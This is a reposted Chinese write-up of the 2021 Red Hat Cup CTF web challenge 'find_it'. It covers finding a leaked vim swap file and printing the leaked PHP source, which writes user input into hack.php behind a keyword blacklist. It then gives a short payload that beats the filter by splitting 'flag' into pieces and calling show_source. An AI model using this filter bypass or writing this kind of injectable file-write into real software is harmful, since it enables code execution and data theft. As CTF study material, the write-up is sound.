2021红帽杯 find_it

Posted H3rmesk1t

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2021红帽杯 find_it相关的知识,希望对你有一定的参考价值。

2021红帽杯 find_it

考点

备份文件、源码泄露

思路

题目提示我们 I Can't view my php files?!,猜测是备份文件,御剑扫一下发现存在 robots.txt

在这里插入图片描述

访问 1ndexx.php,发现并不存在;由于Linux平台下的存在 .xxxx.php.swp.xxxx.php.swo.xxxx.php等文件格式,尝试访问一下 .1ndexx.php.swp,存在源码泄露

发现过滤了一堆东西,感觉没得啥子可以利用的点了,由于可以写入文件,没有过滤掉 show_source,我们利用 <?php%20show_source("fl"."ag.php");将flag打印出来

Payload

1ndexx.php.swp文件源码

<?php $link = mysql_connect('localhost', 'ctfhub', 'ctfhub'); ?>
<html>
<head>
	<title>Hello worldd!</title>
	<style>
	body {
		background-color: white;
		text-align: center;
		padding: 50px;
		font-family: "Open Sans","Helvetica Neue",Helvetica,Arial,sans-serif;
	}

	#logo {
		margin-bottom: 40px;
	}
	</style>
</head>
<body>
	<img id="logo" src="logo.png" />
	<h1><?php echo "Hello My freind!"; ?></h1>
	<?php if($link) { ?>
		<h2>I Can't view my php files?!</h2>
	<?php } else { ?>
		<h2>MySQL Server version: <?php echo mysql_get_server_info(); ?></h2>
	<?php } ?>
</body>
</html>
<?php

#Really easy...

$file=fopen("flag.php","r") or die("Unable 2 open!");

$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));


$hack=fopen("hack.php","w") or die("Unable 2 open");

$a=$_GET['code'];

if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\\~|\\^|\\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
	die("you die");
}
if(strlen($a)>33){
	die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);

fclose($file);
fclose($hack);
?>

Payload:

先利用 ?code=<?=%20show_source("fl"."ag.php");?> 写入php代码
再访问hack.php

在这里插入图片描述

以上是关于2021红帽杯 find_it的主要内容,如果未能解决你的问题,请参考以下文章

[2021红帽杯]Web writeip

第四届红帽杯网络安全大赛 Web 部分writeup

第四届红帽杯网络安全大赛 Web 部分writeup

红帽杯2021 Cryptography

红帽杯2021 Misc

2021红帽杯 framework